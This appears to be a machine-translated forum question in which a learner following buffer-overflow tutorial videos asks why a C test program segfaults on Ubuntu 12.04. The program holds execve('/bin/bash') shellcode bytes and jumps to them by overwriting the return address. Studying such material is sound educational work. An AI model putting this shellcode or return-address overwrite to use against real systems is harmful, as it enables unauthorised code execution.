我正在尝试通过观看http://www.securitytube.net/groups?operation=view&groupId=4上的视频来了解我的Ubuntu
12.04 32 位机器上的缓冲区溢出。目前,我在第 5 部分,它注入一些可重定位的代码以通过 ExecVe 生成一个 bash shell
使用第 5 部分视频中显示的方法,我可以Shellcode.c
很好地构建。gcc -mpreferred-stack-boundary=2 -o Shellcode Shellcode.c
但是,当我运行 C 代码时,我得到的只是Segmentation Fault (core dumped)
. 我没有像视频中显示的那样生成 bash shell。
谁能告诉我为什么我没有像演示节目那样生成 bash shell?我的直觉告诉我这是因为我使用的是更高版本的内核(不知道演示中使用了什么)。
谢谢!
代码如下:
Shellcode.c
#include<stdio.h>
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a"
"\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e"
"\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62"
"\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";
int main(){
int *ret;
ret = (int *)&ret +2;
(*ret) = (int)shellcode;
}